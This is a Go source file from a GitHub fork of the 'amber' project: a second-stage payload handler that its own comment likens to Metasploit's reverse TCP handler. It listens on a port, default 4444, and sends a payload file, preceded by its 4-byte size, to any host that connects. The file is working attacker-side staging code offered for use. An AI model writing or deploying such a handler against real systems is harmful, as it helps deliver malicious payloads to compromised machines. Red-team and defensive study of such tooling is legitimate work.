forked from EgeBalci/amber
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhandler.go
96 lines (67 loc) · 2.03 KB
/
handler.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
/*
This is just a simple payload delivery system similar to metasploits reverse TCP handler.
It first sends the size of the payload in a 4 byte packet then sends the actual payload.
*/
package main
import "github.com/fatih/color"
import "encoding/binary"
import "io/ioutil"
import "strconv"
import "net"
import "fmt"
import "os"
var Red *color.Color = color.New(color.FgRed)
var BoldRed *color.Color = Red.Add(color.Bold)
var Blue *color.Color = color.New(color.FgBlue)
var BoldBlue *color.Color = Blue.Add(color.Bold)
var Yellow *color.Color = color.New(color.FgYellow)
var BoldYellow *color.Color = Yellow.Add(color.Bold)
var Green *color.Color = color.New(color.FgGreen)
var BoldGreen *color.Color = Green.Add(color.Bold)
const VERSION string = "1.0.0"
func main() {
var PORT string = "4444"
ARGS := os.Args[1:]
if len(ARGS) == 0 || ARGS[0] == "--help" || ARGS[0] == "-h"{
Help()
os.Exit(0)
}
tmp, err := strconv.Atoi(ARGS[1])
if err != nil || tmp < 0 || tmp > 65535{
BoldRed.Println("\n[!] ERROR: Invalid port number.")
os.Exit(1)
}
PORT = ARGS[1]
File, Err := ioutil.ReadFile(ARGS[0])
if Err != nil {
BoldRed.Println("\n[!] ERROR: Can't open the file :(")
os.Exit(1)
}
stageSize := make([]byte, 4)
binary.LittleEndian.PutUint32(stageSize, uint32(len(File)))
sock, sockErr := net.Listen("tcp", ":"+PORT)
if sockErr != nil {
BoldRed.Println("\n[!] ERROR: Invalid port number.\n")
fmt.Println(sockErr)
os.Exit(1)
}
BoldBlue.Print("[*] ")
fmt.Print("Listening on port ",PORT,"\n")
conn, connErr := sock.Accept()
if connErr != nil {
BoldRed.Println("\n[!] ERROR: Connection error.\n")
fmt.Println(connErr)
os.Exit(1)
}
BoldGreen.Print("[*] ")
fmt.Print("Sending second stage (",len(File),") byte\n")
conn.Write([]byte(stageSize))
conn.Write(File)
BoldGreen.Println("\n[+] Stage send !")
}
func Help() {
var Help string = `
USAGE: handler file.stage port
`
color.Green(Help)
}